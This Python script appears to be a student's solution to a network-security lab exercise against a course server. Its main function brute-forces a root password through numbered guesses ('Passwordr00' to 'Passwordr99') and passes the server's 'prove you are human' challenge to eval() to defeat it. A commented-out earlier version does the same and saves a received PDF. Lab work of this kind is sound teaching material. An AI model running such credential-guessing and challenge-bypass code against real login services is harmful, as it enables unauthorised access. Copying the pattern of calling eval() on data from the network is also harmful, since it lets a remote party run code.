93 lines
2.8 KiB
Python
93 lines
2.8 KiB
Python
import socket
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import time
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# Fill in the right target here
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HOST = 'netsec.net.in.tum.de' # TODO
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PORT = 64984 # TODO
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def get_flag2():
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credentials = "root,Passwordr00"
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect((HOST, PORT))
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sf = s.makefile('rw') # we use a file abstraction for the sockets
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print(sf.readline().rstrip('\n'))
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sf.write("{}\n".format(credentials))
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sf.flush()
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data = sf.readline().rstrip('\n')
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resp = eval(data)
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sf.write("{}\n".format(resp))
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sf.flush()
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print(sf.readline().rstrip('\n'))
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print(sf.readline().rstrip('\n'))
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def get_flag():
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for i in range(100):
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time.sleep(2)
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credentials = "root,Passwordr"+str("%02d" % i)
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print(credentials)
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try:
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.connect((HOST, PORT))
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sf = s.makefile('rw') # we use a file abstraction for the sockets
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print(sf.readline().rstrip('\n'))
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sf.write("{}\n".format(credentials))
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sf.flush()
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data = sf.readline().rstrip('\n')
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resp = eval(data)
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sf.write("{}\n".format(resp))
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sf.flush()
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print(sf.readline().rstrip('\n'))
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print(sf.readline().rstrip('\n'))
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except:
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pass
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# def ans():
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# for i in range(100):
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# credentials = 'root'+','+'Password'+str("%02d" % i)
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# print(credentials)
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# try:
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# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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# s.connect((HOST, PORT))
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# sf = s.makefile("rw") # we use a file abstraction for the sockets
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# sf.write("{}\n".format(credentials))
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# sf.flush()
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# challenge = sf.readline().rstrip('\n')
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# print("Solve the following equation to prove you are human: ", challenge)
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# inToPosEx = infix_to_postfix(challenge)
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# value = postfixEval(inToPosEx)
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# print('VALUE = ',value)
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# sf.write("{}\n".format(str(value)))
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# sf.flush()
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# data = sf.readline().rstrip('\n')
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# print("From Server: `{}'".format(data))
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# data = sf.readline().rstrip('\n')
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# print("From Server: received {} bytes".format(len(data)))
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# data = b64decode(data.encode())
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# pdf_hdr = b'%PDF-1.5'
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# if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr:
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# print("Looks like we got a PDF!")
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# # TODO write the received data to a file
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# f = open('a.pdf','wb')
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# f.write(data)
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# f.close()
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# sf.close()
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# s.close()
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# except:
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pass
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if __name__ == '__main__':
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get_flag() |